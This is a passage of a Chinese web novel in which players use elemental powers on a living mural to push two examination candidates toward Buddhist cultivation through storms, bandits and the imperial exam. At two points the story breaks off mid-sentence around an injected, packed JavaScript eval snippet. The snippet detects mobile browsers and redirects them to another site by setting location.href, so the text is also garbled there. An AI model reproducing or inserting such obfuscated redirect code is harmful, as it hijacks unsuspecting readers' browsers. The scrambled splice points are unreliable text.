汪思思转头不理二人。 “那你给我讲讲呗。”冯文并转而求教于劳青。 “四大皆空听说过没?” 劳青倒是耐得住性子跟他解释:“地、水、火、风,是佛家所说的构成这个大千世界的四种基本元素,四大皆空就是指佛家认为所有的一切都是虚幻的。而在我们那边的道观里,大家则认为世间一切是由金、木、水、火、土五种基本元素构成,称为五行。不管怎么说都有其道理。” “哦!原来如此!”冯文并朝劳青抱了抱拳,“受益匪浅。” “劳先生所言甚是,”有相突然发话:“如您所讲,你们眼前的活壁画和活沙盘正是借用了佛家四大的概念,你们面前石板上显示为何种元素,就代表你们只能更改调节画中的这一元素。当然,佛家妙语中的玄奥我们断然无法尽数运用其中,只能肤浅地附和: 风,代表气流,能改四时变化;水,能操控水流,令天降雨雪;火,代表光明,能控制世间之明灭;地,代表承载之物,能改山川之势。” “诸位可以先试试。” 有相话音刚落,三面壁画顷刻被抹成素壁,另一边的沙盘也骤然被夷为平地。 “那能发挥的不就很有限。”冯文并满脸遗憾,随手用木刀勾了几笔,一朵姿态婀娜摇曳生姿的莲花同时出现在沙盘和壁画中。 众人见状,齐齐朝冯文并投来探究的目光。 “天纵奇才啊!”劳青赞道,“难怪第一关......” 话还未完,就见那朵美丽的莲花突然融成一摊水,在壁画和沙盘上形成一块不规则的水渍。 众人:“......” “哦!”冯文并激动地指着那团丑陋的水渍,“因为我的元素是水,所以一开始雕刻的材料就是水!那它自然就融掉了。” 众人开始试验起来,周蕴画笔勾出三两道弧线,形成几座高山,又挖出了几个盆地,紧接着她又试着画了些小物件,如瓦罐、陶碗等,虽然成功了,但不一会就纷纷散架,成为一坨沙堆。 就在周蕴的最后一个“杰作”陶碗即将溃散之际,一个明亮的火团从天儿降径直砸入碗口,一团黑烟散去后,陶碗......烧制完成了?! “还有组合技?”冯文并头伸得老长,正直勾勾盯着二人的石板,但很快就被两双眼睛瞪得缩了回去。 “看来这一轮画不了太复杂的东西。”时苑总结,周蕴点头表示赞同。 “试也试完了,”邱德菲无聊地左画一撇,右画一捺,在冯文并捏的湖面上弄出了一道龙吸水,“该说任务内容是什么了吧?” “好,和上一轮相同,题目依旧是帮主角逃离出壁画或者沙盘。”有相顿了顿,“罢了,你们刚才都解出了答案,我索性就说的明白些,帮助他们走出既有的命运。” “那就是修行啰。”劳青不假思索。 许是纷纷回忆起刚才第一轮中一些不美好的回忆,众人的面色都变得沉重起来,特别是喜怒都形于色的汪思思,只有一人除外。 “刚才的解决方法是修行吗?我怎么不一样啊。”冯文并一脸摸不着头脑的样子,“就是一群人吃喝玩乐啊。” 没人理他。 就在这时,被众人画的乱七八糟的壁画和沙盘被清空,在巨幅壁画相隔甚远的两个位置同时出现了两个青年人,这两个人的人像也同样出现在沙盘上。 “这两位便是主角了,左为甲,右为乙,此外还有一条限制,诸位添加或者更改的事物,必须与主角有关联,不然无法生效。” “两个人?”劳青不解道,“那我们两组怎么配合啊,难道要让他们成为道友?” “他们二人是其实是一体两面,既有许多相同之处,又有诸多能互补的地方,一齐修行会事半功倍。”有相如是说。 “给诸位最后一个提示,二人皆是进京赶考的举子。” 有相说话之时,壁画上沙盘中,以二人为中心,线条色彩开始延伸拓展,万事万物开始运转,山川绵延、建筑散布、市井繁华、宫殿巍峨......一个大千世界就此形成,戏台搭建完毕。 “注意,你们只有一次机会。” 8. 第八章 赶考 举子甲所处的位置在江南富庶之地,此时正和书童跟着人群登上入京的大船,举子乙则带着书童家丁穿梭在崇山峻岭之中。 “所以怎么让他们走上修行之路?” 冯文并盯着在运河上浮沉的大船,嘴里念叨:“出家?我记得好像听过几个故事,都是讲富家公子哥儿众叛亲离、家破人亡,最后看破红尘出家的,难道也要走这个路子?” 在刚才那一轮,有相并未将题目明示,他误打误撞就过关了,如今有相揭破题目,反倒让他束手束脚起来,因为确实超出了他的认知范畴。好在三个队友看上去都十分靠谱,他不敢轻举妄动,只能通过说话来缓解紧张和尴尬。 不止冯文并,在座所有人心里都没底,不知该从何处入手,也不知道该把握怎么样的度,暂时都处于观望的状态。 “可以试试,那就家破人亡、众叛亲离什么的都给来一遍?” 汪思思认真考虑了冯文并的提议:“磨炼嘛。” 冯文并只觉得浑身直哆嗦,当即打了退堂鼓:“我就说说......别当真。” “但如果越挫越勇怎么办呢?”劳青也认真作出假设,“激起了斗志,然后他发愤图强,逆天改命,到时候还有修行什么事呢?” 冯文并和汪思思盯着劳青满脸的皱纹和容光焕发的神情,表情古怪。 “不是所有人都和你一样。”最后还是孙德菲说出了二人不敢说的话。 “也是。”劳青非但不生气,反而深以为然。 “那引导呢?”周蕴也提出了她的看法。 在主角风平浪静的生活里强行施加苦难,以此来促使他走上修行之路,听着可行,却像是罪魁祸首在冷眼旁观还自以为有理。当然,她不认为汪思思等人的想法有错,只是觉得自己的觉悟可能没那么高。 “当然,如果能靠引导就走上修行之路就最好,但是事实是,有几个人能真正领会到这些指引呢?” 邱德菲叹了口气:“如果这样,那些得道高人还需经历什么苦难呢?” “那就先按这个方向走走看吧,就当是磨刀石了。”劳青说道。 汪思思点头:“终生皆苦,不要太沉迷。” 周蕴也不再说什么,她知道众人说的有道理,但隐隐总觉得别扭。看着举子甲在船上挑灯夜战,船头稍稍颠簸,带得案上的煤油灯灭了,复又点上,这些很难让她觉得这只是个画中人。 不要太沉迷,周蕴只能如此劝慰自己,有些事情早就注定好了,就像宫娥那个必经的浩劫。 壁画和沙盘的明灭代表日升日落,而且时间似乎也有快慢之分,白日里时间走得慢,夜里众人睡下时,时间却过得很快,天亮了又是新的一天,举子又要开始赶路,也就意味着意外又可能悄然而至。 渐渐的,众人不约而同停止交谈,虽依旧处在观望状态,但精神却越发紧绷。 “快快快!不能让他死了!” 隔壁传来汪思思慌乱的叫声:“接住接住!快!” 甲组四人一脸震惊地望过去,刚才船上发生了个小骚乱令他们自顾不暇,才刚平息就听得汪思思的尖叫声——原是乙组这边汪思思艺高人胆大,见举子乙一行人骑着驴沿着山崖陡壁边的窄路缓慢前行,突然灵机一动,运用自己的风元素捏了一阵怪风,卷住挂在驴身上的行李和书箱,拉扯着掉下绝壁,实施得很完美,美中不足的是力度掌握得不好,差点害书童和举子乙跟着书一块去了。 好在她的好队友劳青眼疾手快,及时在他们脚下垫了几个土块,才不至于摔下悬崖。 “这下考不了。”虚惊一场的汪思思缓过神来后,对这番冒险之举颇为满意。 “行李和书都没了,去不了京城,第一步完成,要修行那肯定是不能中举的。” 众人:“???” “为什么?” 冯文并满腹疑惑:“没了书和行李就考不了了?” “蠢货!快看这边。”邱德菲骂道。 冯文并赶忙收回视线,只见原本宽阔平静的河道上晴空万里,此时却罩着厚厚一层乌云,风雨大作,电闪雷鸣,河上巨浪翻腾,风暴压弯了桅杆撕扯着船帆,船身跟着剧烈晃动,仿佛下一刻就要完全解体。 冯文并也不含糊,立时挥动手中木刀在石板上写写画画,发挥其中流砥柱的作用。他手起刀落,一个又一个反向的波浪凝聚起来,义无反顾朝奔向船头的巨浪撞上去,二者相碰刹那间形成一道比桅杆还要高出几倍的水墙,两方的巨力抵消水墙很快崩溃瓦解,没入滔滔河水。 “那什么?妖怪?”冯文并难以置信道。 就在两股巨浪溃散之际,因水位下降露出了原本藏在水底一个黑色物体,其面上覆着黑色鳞片,像什么巨大生物爪子,只一瞬就消失在水中,余人各有各的活,只有专心操纵水的冯文并注意到了。 “你看到什么了?”水面平复下来,但风暴还未停息,邱德菲还在竭力控制狂风,“什么妖怪?” “我也不知道啊!”冯文并哀嚎,“怎么这故事还有玄幻元素啊?” 话音未落,河面再次翻腾,远处又一道巨浪朝大船呼啸而来,这次冯文并看得清楚,巨浪是从水底翻上来的。 “又来!” 冯文并心态是极度崩溃的,动作是毫无章法的,但神奇的是刀刀都落在刀刃上,他着实是个天赋选手。 眨眼间,一道能够与巨浪匹敌的大水墙悍然无比拦在浪潮前进的道路上,水与水之间的剧烈冲击仿佛两军厮杀,千军万马对上千军万马,浩荡又惨烈。有冯文并源源不断地补充,终究是水墙更胜一筹,将战线推进到敌方深处,反向形成一道浪潮。 “哦吼!完蛋!”冯文并整个人都僵住了。 在浪潮背面出现一张凶悍的脸,一对炯炯发亮的大眼睛立在头顶,獠牙尖锐而可怖。 它只露了头就又隐入水底,消失处留下一个漩涡,但这次甲组四人都看到了。 “霸下。”周蕴沉声道。 “什么虾这么大啊?”冯文并不可思议道。 “白痴。”邱德菲无语。 时苑解释:“有人说他是龙的第六子,也有人说他是玄武的变体,形态像乌龟,喜在水底兴风作浪。” 说话时她手上动作没有片刻停顿,待到最后一个字说完,就见一团燃着熊熊烈焰的火球从天上直直轰向霸下消失的漩涡。 冯文并还没消化完时苑话中的知识就又傻眼了:“不愧是苑姐!” 在他心中,大姐头的位置已经彻底易主了。 “你们这么刺激的?”这么大的热闹劳青怎么样也要抽空来凑一凑。 “老头子快回来!” 劳青只看到了沸腾的河水,就被汪思思喊了回去,一脸的遗憾。 水底生物最怕火光,这一击可能把它吓走,也有可能激起它的怒意,总之不能让它继续放肆下去。当然其他人也不是吃素的,刚才这段时间周蕴已在前方不远处的河道中平地建起一座小岛,若水患持续升级,可将其当成大船的临时停靠点,众人的就近避风港。与此同时,风暴也被邱德菲控制的差不多了,只要水底的巨兽不再翻腾。 众人屏住呼吸,静默地注视那个漩涡,终于,漩涡消散,风浪平息。 在风暴中被冲到甲板上的人相继爬起,他们狼狈不堪却难掩劫后余生的喜色。甲板上几乎所有人都不约而同凑到一起,互相祝贺,热烈拥抱,他们哭着笑着,甚至有几个船员拉着手跳起来,不一会,船舱里的人也纷纷涌上甲板,跟着一齐庆祝,庆祝还能看见下一个天明。 其时日光透过风暴残留的朦胧水汽,形成一道七色彩虹,正好落在不远处的岛屿之上,沸腾的人群逐渐平静,许多刚刚忍住没哭的人眼角也淌下一行清泪。 举子甲也在书童的搀扶下来到甲板上,面对此情此景,他似乎有了什么灵感,从怀中取出一本册子,着书童拿来笔墨,就地开始挥毫。 “他在干嘛呢?” 是劳青的声音,他又恰到好处地赶上了大戏散场。 “画画?画了个岛?”冯文并眯着眼仔细辨认,不确定道,“仙岛?” “这个方法好。”劳青忙又赶回自己的战场,“思思,迟老弟,小黎,我们也来搞一个,仙岛不就意味着要开始修行了吗?咱们不能落后啊!” “好是好,但你说从哪开始呢?” 汪思思迷茫地看着在马车里正专心致志看书的举子乙,他身后摆着四箱书,而原先十几人的驴队也变成了二十几人的马队。 一切还要从汪思思把举子乙的书和行李扔下山崖开始,故事的走向却完全背离了她的初衷。 整个驴队并未因为意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467807|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外而停留,他们很快到达了最近的城镇,好巧不巧,这个城镇里就有举子乙的亲戚,还是个出手阔绰的富贵亲戚,于是举子乙获得了更加庞大的车队,书箱里的书也比原来更沉重了。 乙组小队没闲着,迟元升话虽少,但与二人配合得十分默契,孙黎也时不时给予助力,四人在中间不断制造插曲试图阻挠,奈何几番操作之后,四双眼睛还是只能干看着车队离京城越来越近,心情也跟着书箱一样更加沉重了。 “转机来了!”劳青突然坐直,双目精神得仿佛能射出金光,整个人就像是一只打鸣的公鸡。 只见一群打劫的山匪团团围住举子乙所在的车队。 如此招摇的车队在偏僻的山路上走,确实很难不被盯上,乙组众人既兴奋又紧张,随时准备出动。 马队的人都是老江湖,见势不妙,立即识相地交出盘缠。山匪头子似是还不满意,指了指马车,随即两名劫匪闯入车中拉出四箱书,粗暴地倒在地上。 面对举子乙的糟糕境遇,劳青却是差点跳起来拍手叫好。 就在这时,又有一支不同打扮的队伍悄悄靠近。 “怎么还有!”汪思思跺脚。 “黑吃黑?”劳青也是摸不着头脑。 由不得几人细想,队伍的首领——一名年轻女子振臂一呼,藏在周围的山贼应声俯冲下山,两队山匪激烈地厮杀起来。 后者明显经过专业的训练,一开始抢劫的山匪一击即溃,没多久只能掩护着首领慌乱逃窜。 事后,身着红裙的女首领笑着走向不停哆嗦的举子乙,她拍了拍孱弱书生的肩膀似是在安慰,随即挥挥手,一众五大三粗的手下立即忙活起来,将散落一地的书重新整理回书箱,同时把抢回来的行李盘缠原封不动归还给举子乙一行——看来是他们是民间义士而非山匪。 “完了完了,书和盘缠又回来了,还来了个女人。”劳青绝望地瘫坐在座位上,只觉前途一片渺茫。 就在这时,只见一抹红影划过,下一刻一个炽烈的火团好似流星一样从天而降砸向队伍,继而发生爆炸,指挥收拾残局的女首领首当其冲,当即被炸飞,粉身碎骨。 三张震惊的面孔齐齐转头看向最边上的孙黎,罪魁祸首的她和女首领一样也是一身红衣。 壁画的修正原理启动,劫匪离开方向的山坡上,凭空出现三个得手后迅速撤离的身影。 “画壁画的都这么狠吗?”劳青僵硬道。 迟元升无辜地轻咳一声。 孙黎冷冰冰地说:“与其成为拖累,不如从一开始就掐灭,让它来的更有价值。” 这是目前孙黎讲的最长的一句话。 “又能断掉刚冒头的情感,又能给他以刺激,感受世间爱别离之苦,一举两得啊!”汪思思兴奋,“孙黎姐你真厉害!” 劳青和迟元升幽幽地把目光收回,举子乙从地上捡起了那女首领被炸飞的一角红衣。 甲组的情况也不容乐观,船到达目的地后,一行人在渡口边的客栈遭遇抢劫,被搜刮了盘缠,周蕴本想上手却被时苑无声阻止。 “这画里怎么这么不太平啊。” 冯文并想帮又觉得不应该帮,整个人瘪了气,对人间的恶又有了更深的理解。 “还不是和外面的世界一样。是你被保护的太好了。”邱德菲一针见血地评价。 “从壁画上看,下一站应该是东都,然后就到京城了,打起精神来。” 从整体看,东都是国中仅次于京城的繁华都会,举子甲进城后,似乎也投奔了一户人家,出来时盘缠和马匹又重新配齐,一行人匆匆上路,然而就在即将到达城门口之时,却见街上人声鼎沸,许多人围在一座高楼前。 “抛绣球?招亲?”冯文并看着阁楼三层平坐上蒙着面的贵族小姐,表情一言难尽,“怎么这么俗套的故事都有啊?” 好在举子甲没有上去凑热闹,反而带着一行人匆匆从人群后方穿过,绣球根本不可能落到他身侧,众人暂时按兵不动。 然而人算不如天算,就在举子甲即将穿过人群之时,绣球从高楼落下。 这位小姐力气太小,抛出的距离过短以至于绣球直接跌到首层副阶的檐口,下落的力道加上高高翘起的檐角,使得绣球以诡异的角度又一次跳起,在空中划出一个刁钻的弧度,直奔举子甲的头顶。 9. 第九章 道友 四人近乎同时抄起手中工具,于画中人来说“神明”的力量在举子甲周围展开—— 在争抢的人眼中,绣球在空中的轨迹诡异难测,眼见就要砸向那个过路的书生,突然繁复的流苏勾住了人群中伸得最高的手指,然而那只手指还未来得及收拢,手指主人就被旁人推倒在地,绣球又一次抛上天,方向竟然和原来一模一样。 说时迟那时快,就在绣球的必经之路上,一只手突然抬高撞上了绣球,下一刻,那只手的主人就一脸见鬼似地一拳把绣球砸飞,刚刚那一瞬,他只觉得脚底突然被什么东西托起复又沉下去。 “还要下雨吗?”一场暴雨在冯文并面前的光幕中蓄势待发。 “绣球没有再弹回来了,先这样吧。”邱德菲精疲力尽地靠到椅背上,这次的规模没有上次和风暴对抗的大,但绣球跳跃的速度之快,近乎是一眨眼的功夫,同时还要精准把握力道,比上次还累上许多。 然而,她还没靠稳猛然又从椅背弹起,“等等,不行!” 不等她发号施令,瓢泼大雨毫无预兆地倾泻而下,诡异的是太阳也突然变得更加刺眼毒辣,所有人被照得眼睛一花,就在这时地面悄然隆起,抢到绣球的乞丐突然摔了个跟斗,绣球脱手,周围也跟着摔倒了一片。绣球就这样在人压人的人饼上跳了两个弧,最后咕噜噜滚落路旁的河道,沉入水底。 四人实在不忍绣球就这样落到一个街头乞丐手中,一番闹剧终于结束,望着举子甲一行几乎是落荒而逃的身影,邱德菲重重靠在椅背上:“终于结束了。” 冯文并这次不是主导者,费不了多少精力,完事后他还有闲情左看右看,目光落到那位贵族小姐身上时,他突然感到一丝不妙:“这位小姐是什么眼神啊?” 那位小姐似乎已经注意到了举子甲,视线一路跟随到一行人消失在城门中。 “上一轮的时候,你们有没有发现有些事情是注定的,无论怎么更改都无法避免?”周蕴说。 绣球一开始撞上檐口突然改道直奔举子甲能暂且算是意外,但在邱德菲改了一次风向后又一次往原方向飞去,就决计不能用意外轻易糊弄过去了。 “有相说过,我们只能更改和主角相关的事物。”时苑淡淡地说。 “嘶——”冯文并只觉得浑身起鸡皮疙瘩。 “走一步看一步吧,至少暂时过关了。”邱德菲虽然无奈,但还算乐观。 转眼间,举子甲一行人已到了京城外,只需再翻过一座山头就能到达城门外。有了无数次遭遇劫匪的经验,现在两组人都学精了,每次走山路都会提前观察附近是否有山贼盗匪的踪迹。 “刚有一队人马从城门冲出,速度极快。”周蕴皱眉,“他们个个携带兵器,似乎在执行什么任务,希望不会影响到。” “对上了,”过了一会,同样负责观测的时苑沉声道,“他们围上了前方的一队马车,就在山的另一头。” “车里是一家老少,看上去应该是什么达官贵人。他们的护卫已经和骑兵打起来了。”周蕴看着画中刀光剑影的场面,说道,“双方都下的死手。” “能避开吗?”冯文并紧张道,“看到不该看的会被灭口啊!” “你这方面倒是挺机灵。”邱德菲眉毛一扬,“避不开,路只有一条,但我们可以再造一条。” 于是,在狂风冰雹的掩护下,周蕴平地建山,好不容易才诓着狼狈的举子甲一行人走上为其专门开出的路。完全改变地形自然是不可能的,但能够绕开一小段路,避免直接碰上杀戮现场。 然而意外总是来得猝不及防,不知是新造的土过于松软还是风和水的缘故,一行人脚下的山体突然发生塌方,举子甲和书童不慎跟着山石滑落,周蕴只得再次施展“神通”。终于二人险之又险地挂在了半山腰的一棵大树上,但也因此不可避免地瞧见了下面的血腥场面。 厮杀的场面已经告一段落,骑兵损失惨重,只余两人,但另一边也没好到哪去,活人仅剩下一名重伤跪地的护卫和马车里的瘦弱少年,少年的父母也为了保护他横尸当场。 两名骑兵持着被血染红的刀踩过血泊,冲少年砍去,慌乱中少年从车窗翻出滚到地上,就在这千钧一发之时,重伤的护卫突然暴起,扑倒了一名骑兵,另一名骑兵大惊,持刀回护,刚转身,那骑兵就猛地一抽搐,随即倒地,临死之前他的眼珠子睁得都快滚落了,他怎么也没想到,身后手无缚鸡之力的少年,竟在如此之短的时间内将一把匕首扎进他的心脏。 趁此机会,另一名骑兵也被护卫干掉了,少年颤抖地扶起那名护卫,满身是血的二人踉跄地翻上了骑兵留下的马匹,摇摇晃晃往南边而去。 离开之时,少年警惕地望向四周,与挂在不远处的树上惊到不敢说话的举子甲对视了一眼。 “完了。”冯文并哭丧着脸,但随即又惊讶道,“咦?那边也有人?” 不远处另一个山头也有几个人影。 “好巧啊。”冯文并身旁的劳青幽幽道。 那群人正是举子乙一行,他们从另一方向进城,本无需上山就可从另一城门入京,但汪思思和劳青一致认为这是个让其主角见识苦难的好机会,于是想方设法将其引到山上,观看了这一场杀戮。 “初次见面请多关照。”冯文并干笑了一声,“道友。” “你好啊道友。”汪思思和劳青也替举子乙进行了回答。 “你们怎么也到了京城?”冯文并问,他们自己组倒没有说一定要阻止举子甲参加科考,但乙组人却是一开始就是想阻止他们的主角到京城的,没想到最后还是来了。 “是啊。”劳青一脸无奈,“天命如此,什么都阻止不了。” 暮色中,举子甲和举子乙一道进了京城,虽然二人的见面场景血腥又惊险,但不妨碍二人一见如故,也算是患难遇知己。 当然其中难免还掺杂了一些复杂的因素——二人似乎都撞破了一个惊天秘密,那个少年究竟是谁?又是谁派的杀手?少年最后关头究竟有没有发现二人?如此看来,他们也算是拴在一根绳子上的蚂蚱。 京城的繁华是其他任何一个地方都无法比拟的,八双眼睛目送二人进了一家朝廷特地安排的举子客栈。 “所以要让他们考上还是不考上呢?”汪思思放下手中木刀,托着腮问,“现在我们两组可以一起行动了,人多力量大,先来想想对策吧。” “考不考得上这事我们能决定吗?”冯文并提出疑问。 “总得有个目标嘛,不行再看呗。” 劳青倒是乐观,屡试屡败依旧看不出有任何挫败感,他信心满满地说道:“而且有相不是说是‘一起修行’吗?我们已经完成了‘一起’,就差‘修行’了,也算成功给了一半吧。” 冯文并挠挠头,只觉得劳青有些乐观过头,但没有证据。 “说得有理,”邱德菲冷静分析,“我们来假设一下,两种情况最终如果都要走上修行之路,分别是怎么样的?” 汪思思不假思索:“中举的话,得了功名得了利,然后犯了事众叛亲离家破人亡。” “合着跟这两个词没完了。”冯文并小声说。 “如果考不上的话,就......深受打击然后看破红尘?好像也没这么简单,难道之前我们努力的方向都错了?”汪思思不确定道。 “考不上那肯定得再考啊,哪里有一次考试落榜就直接出家的?”劳青提出异议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467808|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人沉默,似乎这是一个无解的答案。 “该走的路、该有的劫,躲也躲不过,随缘吧。”周蕴说道,“也许有相又在挖什么坑。” 冯文并拼命点头:“是啊是啊,都平静了好一下子了,总觉得没发生点意外都不正......” “常”字还没说出口,果然又出事了,举子客栈的底层不知哪间房突然起火,火舌很快卷到了大堂,逐渐蔓延开来。 众人:“......” 果然,即使无人干预,它自己也是会发展的。 好在火不大,众人的神通也不至于真让俩主角死了,很快二人和各自的书童就在倾盆大雨中从浇灭的火场中被人救出来。 “小甲小乙的关系发展得真不错啊。”见互扶持着两个身影,劳青一脸欣慰。 “小甲小乙?”汪思思有点嫌弃。 “这不产生感情了嘛?总觉得和一开始不一样了,现在我感觉他们就像是自己的孩子或者自己的投射。”劳青笑道,“而且如果中举了,也不能叫举子甲举子乙了不是?” “官府的人来了。”邱德菲打断二人玩笑。 “这衣服......不就是那些骑兵?”冯文并只觉得后背凉飕飕的。 “所以那个少年其实是逃犯?”汪思思也大惊。 众人虽能呼风唤雨,但对于人确实不知道该怎么把控,好在那些人只是前来探寻火灾的原因,对所有人进行了简单询问并做了妥善安置后就尽数离去。 一夜奔波,一众举子被转移到附近的另一家客栈中。 白日到来,京城里再次热闹起来,所有的举子几乎都起了个大早,只见他们三三两两成群结队,有的步行,有的骑马,有的搭轿,一些往东,一些往西分别往城中两个方向而去。 小甲看上去一脸茫然,还得是小乙,问了一圈后,果断拉着小甲跟着人群往西而去。 “他们这是干什么?”汪思思问。 “找靠山啊。”冯文并解释,“很多朝廷高官都会在科考之前先物色门生,这样到时中举了,就能壮大自己的势力,考生也是,反正其中门道多着呢。” “看起来确实是分成了东西两个阵营。”劳青说道,“我关注了几个举子客栈,他们的目的地也是这两个地方,一个是东市旁的一座大宅院,一个就是小甲小乙进的这家,西城的一座酒楼。” 连着几日,小甲小乙都早出晚归,一进那座酒楼就是整整一天,众人只能看到画面,却不能知晓其具体谈话的内容,不过大概也能猜到是什么拉拢招揽之类的事情。 很快,科举的日子到来了。 从进入考场众人的精神就绷得紧紧的,手中的画笔和木刀随时待命,但直到考试结束,举子们从考场出来,都没有发生任何意外。 当然,作为举国最隆重的考试,理论上所有的意外都会被画中世界的人严格地排查掉,除非发生一些不可抗力的事情——而这些不可抗力的一部分来源这次并没有准备出手,只是旁观。 *** 终于到了放榜日,从前一晚,就已经有考生提前来到考院门口,提前占据最佳位置。 小甲小乙是在凌晨时分偷偷摸黑来的,来到这时才发现黑压压一片都是人,连考院那条街都挤不进去。 众人席地而坐,更夫经过了一次又一次,囊萤夜读的时刻过去了,闻鸡起舞的时刻过去了,旭日终于从东边升起,远处钟楼的大钟被钟锤猛烈敲击着,钟声在京城内荡开。 考院的大门由内打开,最先出来的是一队官兵,简单的清场之后,几个官员将一卷长长的金色卷轴挂到了考院门口的高墙上。 随着为首的文官一声令下,金色的卷轴缓缓展开。 10. 第十章 八苦 小甲小乙二人都在金榜之上,小乙是榜眼,小甲是探花。 这其中众人确实做了些手脚,一开始时不知是谁换掉了甲乙二人的试卷,于是他们又神不知鬼不觉地换回来,然而放榜时,众人却惊讶地发现,本来在进士之位的二人竟被移到了前两名。 就像冯文并说的,这其中的水深得很,即使在“神”的视角,依旧猝不及防。 “最看不惯的就是这些。”邱德菲不满道,“为什么就不能公平一点?” “还是太年轻啊。”劳青摇摇头,“世间本就是不公平的,又何况这人创造的画中世界。” “就跟看戏一样嘛。”汪思思也附和,“我瞧着倒挺有意思的,我还没见识过科考呢,这次真是大开眼界。” 周蕴只觉得脑中似乎又有什么东西钻了出来。 ——“要......可以,但要加上他的名字。” ——“为什么?” ...... 是一个老者和一个女子的对话,虽然依旧模糊,但能感受到情境和之前的大不相同,似是在一间屋子里,余下的看不清,只能感觉出二者的声音都咄咄逼人。 “怎么了?”旁边的时苑问。 刚刚小甲在人群中摔了一跤,差点淹没在人潮中,好在及时被小乙拉起来,但周蕴没及时回应,这种疏忽对她来说不应该。 “没,脑袋里有点吵。”周蕴笑道,没让他人看出异常。 小甲小乙很快就被西党的人认了出来,他们把二人从人群中捞出来,簇拥着上马、寻街,从现场的情况看,这一次的赢家明显是西党,不仅仅在数量上。虽然状元花落东党,但他看上去已经十分年长,与风度翩翩、风华正茂的小甲小乙全然不同。 榜眼小乙被拥着往南街而去,探花郎小甲则在西党众人的指引下骑着高头大马走向城中高级府邸的集中地。 “传说得探花者,中举那天会被簇拥到京中大小官员的后宅家采上一朵花,这也是‘探花’二字的由来,老头子我只是听说,还没见过这等场面呢。” 劳青满脸好奇地凑过来看了一眼,“不过说是探花,其实就是被各家小姐夫人相看的。幸好没被小乙当上,不然我们孙黎得把整个京城炸了。” 孙黎不语,只是揉了团火球,把小乙巡街队伍沿路的鞭炮炸得更响了些。 此时此刻,各家府邸的后门相继敞开,阁楼、水榭、亭台、花厅甚至连树上、屋顶都已经有人就位,除了娇羞的小姐,还有操心的老母亲、七大姑八大姨,甚至还有好奇的小孩子,各个宅园中的花争奇斗艳,不是京城中最名贵的就是国中最稀罕的,就等着探花郎莅临。 “为了留住这位新晋的探花郎,这些人家着实费了不少功夫。”冯文并虽然贵为富家公子,也住在京城,但可没有从这个角度看过这等场面,当下也是震撼无比。 “毕竟探花这一头衔,不但要求有才也要有貌嘛。”劳青一边观察小乙的动向一边答道。 小甲应付这等场面显得十分生疏,他一脸紧张地被引着进入一个又一个庭院。然而并不是所有开敞的大门都会迎来探花郎,有些院子被引路的人刻意避开了,就比如政敌东党官员家的府邸。 从一家花树茂盛到溢出四面高墙的庭院出来,小甲表情麻木地跟着西党的引路人行走在大街上,就在转弯的路口,一顶轿子与其擦肩而过,恰巧此时,蓦地刮起一阵风,轿帘子被吹开。 “我去!这不是......”冯文并激动到手里的木刀都掉了。 “是她。”周蕴肯定道。 小甲看没看见不知道,但画外的四人可都完完全全瞧见了,轿中所坐的女子不是别人,正是那位抛绣球的女子。 “要不......”冯文并犹豫道,“把她烧了?” “你敢!”邱德菲立刻骂道。 “她进的院子是东党的府邸。”周蕴目光一直在跟进。 只见那顶轿子最后进入了一个探花郎没有踏足的院子,那小姐一出轿子就直奔前厅,此外那园中还有几位小姐,看上去对她充满敌意,似乎在朝她的背影冷嘲热讽。 “啊,那就好。”冯文并松了一口气,眼神往那个院子瞥了眼随即定住了,“太......太尉府?” 其他人可能不敏感,但冯文并毕竟是官家子弟——太尉在当朝的地位仅次于宰相。 甲组四人顿时有点茫然,就在这时,遥远的地方传来一个虚弱的声音。 “诸位,我有点想退出了。” 所有人都震惊地望向右起第二个位置,一直很听话却没怎么说过话的迟元升。 “怎么了迟老弟,这不好好的吗?” 劳青越过汪思思关切道,“你看现在二人金榜题名,正是风光无限的时候啊。” “退出通道现在已为诸位开启,如下定决心,可直接按下石板后侧的按键。”有相的声音十分不合时宜地出现。 “你看,你也说现在正是风头最盛之时,这样的结局不就挺好的?” 迟元生苍白的脸上一直都挂着温和的微笑,他平静地说:“谁都知道世事无常,祸福相依,何况我们此行下一步就是把他们从神坛上拉下来?” 劳青一时语塞,思索了片刻,换了个角度分析道:“咱不用太入戏,就当看一场戏,买了票进了场,不看完多可惜,你说是吧?” 刚才那么一段话已经费了迟元升好大的气力,他缓了好一会,才补充道:“现在离开,故事就到这里结束,美好就此定格,何尝不是一种功成身退?” “真相。”冯文并活学活用劝道,“我们不都好奇这个?” 迟元升低笑道:“你们想过没有,知道了又有什么好处?” 壁画和沙盘内鞭炮齐鸣锣鼓喧天一片热闹景象,壁画外的现实世界却一片寂静。 “你确定这不是在逃避?你在怕什么?”周蕴一针见血地指出。 “是,我承认我就是不想体会。”迟元升顿了顿,“我们干这行的,在那种环境中长大的,耳濡目染,怎么会不知道要让一个人走上修行之路,就需将世间八苦经历个遍,只有降服这些心魔,才能真正跳脱。” “我就不知道啊。”冯文并一脸茫然。 “生老病死,爱别离,怨憎会,求不得。” 汪思思一边无语地跟冯文并解释,一边问迟元升,“可这就是题目啊,我们不是一开始就知道了吗?” “是,开始的时候我也以为就看看戏,和第一场一样,稀里糊涂就过了。直到看到小乙一路上那些躲不开的劫数、还有我们给他天降的苦难,我就好像看到了自己。” 